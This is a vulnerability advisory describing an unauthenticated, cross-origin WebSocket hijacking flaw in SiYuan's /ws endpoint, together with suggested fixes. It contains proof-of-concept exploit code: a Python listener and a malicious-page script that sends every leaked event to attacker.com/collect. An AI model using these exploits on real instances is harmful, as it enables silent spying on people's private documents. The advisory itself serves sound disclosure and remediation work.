Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

• File: kernel/server/serve.go:728-731
• Function: serveWebSocket() → HandleConnect handler
• Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)
• Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接，避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})

Three issues combine:

1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

2. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

3. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection

import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED] Document renamed: {d.get('title')}")
            elif cmd == "create":
                print(f"[LEAKED] Document created: {d.get('path')}")
            elif cmd == "renamenotebook":
                print(f"[LEAKED] Notebook renamed: {d.get('name')}")
            elif cmd == "removeDoc":
                print(f"[LEAKED] Document deleted")
            elif cmd == "transactions":
                for tx in d if isinstance(d, list) else []:
                    for op in tx.get("doOperations", []):
                        if op.get("action") == "updateAttrs":
                            new = op.get("data", {}).get("new", {})
                            print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())

2. Cross-origin attack from malicious website

<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    // Exfiltrate document operations to attacker
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify({
            cmd: data.cmd,
            data: data.data,
            timestamp: Date.now()
        })
    });
};
</script>

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

| Event | Leaked Data | |-------|-------------| | savedoc | Document root ID, operation data | | transactions | Document title, ID, attrs (new/old) | | create | Document path, notebook info (name, ID) | | rename | New document title, path, notebook ID | | renamenotebook | New notebook name, notebook ID | | removeDoc | Document deletion event |

4. Cross-origin connection confirmed

import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance
2. Victim has accessAuthCode configured (server is password-protected)
3. Victim visits attacker.com in any browser
4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth
5. WebSocket connection bypasses authentication
6. Attacker silently monitors ALL document operations in real-time:
   • Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
   • Notebook names ("Personal", "Work - Confidential")
   • File paths and document IDs
   • Create/rename/delete operations
7. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

• Severity: HIGH (CVSS ~7.5)
• Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
• Authentication bypass on WebSocket endpoint when accessAuthCode is configured
• Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
• Real-time information disclosure of document metadata (titles, paths, operations)
• No user interaction required beyond visiting a malicious website
• Affects both Electron desktop and Docker/server deployments
• Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events

2. Add Origin header validation

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    // Validate Origin header
    origin := s.Request.Header.Get("Origin")
    if origin != "" {
        allowed := false
        for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
            if strings.HasPrefix(origin, o) {
                allowed = true
                break
            }
        }
        if !allowed {
            s.CloseWithMsg([]byte("origin not allowed"))
            return
        }
    }
    // ... rest of auth logic
})

3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.